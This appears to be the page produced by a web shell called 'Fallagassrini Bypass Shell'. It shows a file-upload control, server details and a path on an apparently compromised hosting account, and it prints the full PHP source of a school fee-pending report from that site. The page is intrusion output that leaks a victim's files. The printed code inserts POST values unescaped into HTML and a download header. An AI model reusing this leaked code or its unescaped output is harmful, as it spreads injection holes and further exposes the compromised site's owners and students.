? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/report/xlsfeependingreport.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$html = '';
if ($view != 'view') {    
    $border = "";
$html = '<html<head><body>';
$html.='<table width="100%" class="sort">
        <tr><td colspan="2"></td><td align="right"><img src="' . base_url() . 'assets/img/logo.jpg" style="float:right;width:200px;"/></td>
        <tr><td colspan="3" style="font-size:16px;" align="center"><b><u>' . $postdata['report_name'] . '</u></b></td></tr>
          
        <tr><td colspan="3">Printout Date : ' . date('d-m-Y') . ', ' . date('h:i:s a') . '</td></tr>
        </table><br><br>';
$html.='<hr>';
}else { $html.="
    <div style='width: 100%;border:1px solid #e4e4e4;padding:2px;
height: auto;
overflow-x: scroll;'>
";
}
if($view!='xls'){
    $border = "border='1'";
}
$html.='<table  cellspacing="0px" class="sort" cellpading="5px"  style="width:100%;text-align:left" '.$border.'>
        <thead>
        <tr><th style="text-align:left" bgcolor="#7FCEFF">Sl No</th>';
$i = 1;
$column=array();
while ($i <= $postdata['field_count']) {
    if (isset($postdata['field_name_' . $i])) {
        $column_name = explode('~', $postdata['field_name_' . $i]);
        $html .= '<th style="text-align:left" bgcolor="#7FCEFF">' . str_replace('_', ' ', $column_name[1]) . '</th>';
         $column[]=$column_name[1];
    }
    $i++;
}
$html.='</tr>
        </thead>
        <tbody>';
$sl = 1;
$i = 1;
$j = 1;
$rowspan = "";
echo "<pre>";
//        var_dump($report);
echo "</pre>";
  $total_fees='';
foreach ($report as $student => $course) {


    foreach ($course as $cs => $feeinfo) {
        $i = 1;
        $rowspan1 = "";
        $rowspan1 = "rowspan='" . count($course[$cs]) . "'";
        
        foreach ($feeinfo as $cs_key => $fee_info) {

            $rowspan = "";
            if ($fee_info['fee_id'] != 0 && $row_span[$fee_info['fee_id']] > 1)
                $rowspan = "rowspan='" . $row_span[$fee_info['fee_id']] . "'";

            $reg_fee = ($fee_info['registration_fee'] > 0) ? $fee_info['registration_fee'] : 0;
            $reg_fee_paid = $this->studentmodel->get_student_reg_fee_pending($fee_info['student_id'], $fee_info['current_batch_id']);
            
            $book_fee = ($fee_info['student_books_fee'] > 0) ? $fee_info['student_books_fee'] : 0;
            $book_fee_paid = $this->studentmodel->get_student_books_fee_pending($fee_info['student_id'], $fee_info['current_batch_id']);

//            $scf_course_fee = 0;
            $no_sessions = $fee_info['no_sessions'];
            
//            $attendance = $this->mastermodel->get_attendance_student_batch_id($fee_info['student_id'], $this->mastermodel->convertdateformat($fee_info['date']),$fee_info['current_batch_id']);
//            
//            if (!empty($attendance))
//            {
//                $att_date = $attendance[0];
//                $date = $att_date->attendance_date;
//                $increment = 0;
//                if ($no_sessions > 0)
//                {
//                    while ($increment < count($attendance))
//                    {
//                        $date = $attendance[$increment]->attendance_date;
//
//                        $course_fee_row = $this->mastermodel->get_student_course_fee_on_date($date, $fee_info['student_batch_id']);
//                        if (!empty($course_fee_row) && $course_fee_row != '')
//                        {
//                            $scf_course_fee += $course_fee_row->scf_course_fee;
//                        }
//                        $increment += $no_sessions;
//                    }
//                } 
//                else
//                {
//                    $course_fee_row = $this->mastermodel->get_student_course_fee_on_date($date, $fee_info['student_batch_id']);
//                    if (!empty($course_fee_row) && $course_fee_row != '')
//                    {
//                        $scf_course_fee += $course_fee_row->scf_course_fee;
//                    }
//                }
//            }
            
            
            $scf_course_fee = ($fee_info['student_course_fee'] > 0) ? $fee_info['student_course_fee'] : 0;
            $course_fee_paid = $this->studentmodel->get_student_fee_pending($fee_info['student_id'], $fee_info['current_batch_id']);

            $extra_class_fee = $this->studentmodel->get_student_extra_class_fee($fee_info['student_id'], $fee_info['current_batch_id']);
            $extra_class_fee_paid = $this->studentmodel->get_student_extra_class_fee_pending($fee_info['student_id'], $fee_info['current_batch_id']);
            
            $total_fee = $reg_fee + $scf_course_fee + $extra_class_fee->extraclass_fee;
            $total_fee_paid = $reg_fee_paid->reg_paid_amount + $course_fee_paid->paid_amount + $extra_class_fee_paid->extra_class_fee_paid;
            if ($total_fee_paid < $total_fee) {
                $html.='<tr>';
                if ($i == 1) {
                    $html.='<td ' . $rowspan1 . '>' . $sl++ . '</td>';
                    if (array_key_exists('field_name_1', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $fee_info['reg_no'] . '</td>';
                    if (array_key_exists('field_name_2', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $fee_info['first_name'] . '</td>';

                    if (array_key_exists('field_name_3', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $fee_info['last_name'] . '</td>';

                    if (array_key_exists('field_name_4', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $fee_info['gender'] . '</td> ';

                    if (array_key_exists('field_name_5', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $fee_info['nationality'] . '</td> ';


                    if (array_key_exists('field_name_6', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $fee_info['batch_no'] . '</td> ';
                    if (array_key_exists('field_name_7', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $this->mastermodel->convertdatenormalformat($fee_info['batch_allocation_date']) . '</td> ';


                    if (array_key_exists('field_name_8', $postdata)) {
                        $html.='<td ' . $rowspan1 . '>' . $reg_fee . '</td>';
                    }
                   

                    if (array_key_exists('field_name_9', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $scf_course_fee . '</td>';
                     
                    if (array_key_exists('field_name_10', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . $extra_class_fee->extraclass_fee . '</td>';
                    }
                     if (array_key_exists('field_name_11', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . $book_fee . '</td>';
                    }
                   if (array_key_exists('field_name_12', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . $this->mastermodel->convertdatenormalformat($fee_info['fee_date']) . '</td> ';
                    if (array_key_exists('field_name_13', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . ($reg_fee_paid->reg_paid_amount) . '</td>';
                    }
                    if (array_key_exists('field_name_14', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . ($course_fee_paid->paid_amount) . '</td>';

                    if (array_key_exists('field_name_15', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . ($extra_class_fee_paid->extra_class_fee_paid) . '</td>';
                    }
                     if (array_key_exists('field_name_16', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . ($book_fee_paid->books_paid_amount) . '</td>';
                    }
            
                    if (array_key_exists('field_name_17', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . ($reg_fee - $reg_fee_paid->reg_paid_amount) . '</td>';
                    }
                    if (array_key_exists('field_name_18', $postdata))
                        $html.='<td ' . $rowspan1 . '>' . ($scf_course_fee - $course_fee_paid->paid_amount) . '</td>';

                    if (array_key_exists('field_name_19', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . ($extra_class_fee->extraclass_fee - $extra_class_fee_paid->extra_class_fee_paid) . '</td>';
                    }
                    if (array_key_exists('field_name_20', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' .($book_fee-$book_fee_paid->books_paid_amount). '</td>';
                    }
                    $total=($extra_class_fee->extraclass_fee - $extra_class_fee_paid->extra_class_fee_paid)+
                            ($scf_course_fee - $course_fee_paid->paid_amount)+
                            ($reg_fee - $reg_fee_paid->reg_paid_amount)+($book_fee-$book_fee_paid->books_paid_amount);
                    $total_fees+=$total;
                    if (array_key_exists('field_name_21', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . ($fee_info['fee_remarks']) . '</td>';
                    }
                    if (array_key_exists('field_name_22', $postdata)) {

                        $html.='<td ' . $rowspan1 . '>' . ($total) . '</td>';
                    }
                    $html.='<td>'.$postdata['student_type']. '</td>';
                }
                $i++;
                $html.='</tr>';
            }
        }
    }
}
$colspan=count($column);
 if (array_key_exists('field_name_19', $postdata)) {
   $html.='<tr>
       <td colspan='.$colspan.' style=text-align:right >Total Amount</td>
       <td >'.$total_fees.'</td>
       </tr>';
 }
$html.='</tbody></table>';
$html.='<hr>';

if ($view == 'view') {
    $html.="</div>";
    echo $html;
} else {
$html.='</body></html>';
$filename = $postdata['report_name'];
if ($view == 'xls') {
        header("Content-type: application/octet-stream");
        header("Content-Disposition: attachment; filename=" . $filename . ".xls");
        header("Pragma: no-cache");
        header("Expires: 0");
    }
    if ($view == 'pdf') {
        pdf_create($html, 'FeePending','true');
    }
    print $html;
    exit;
}

?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net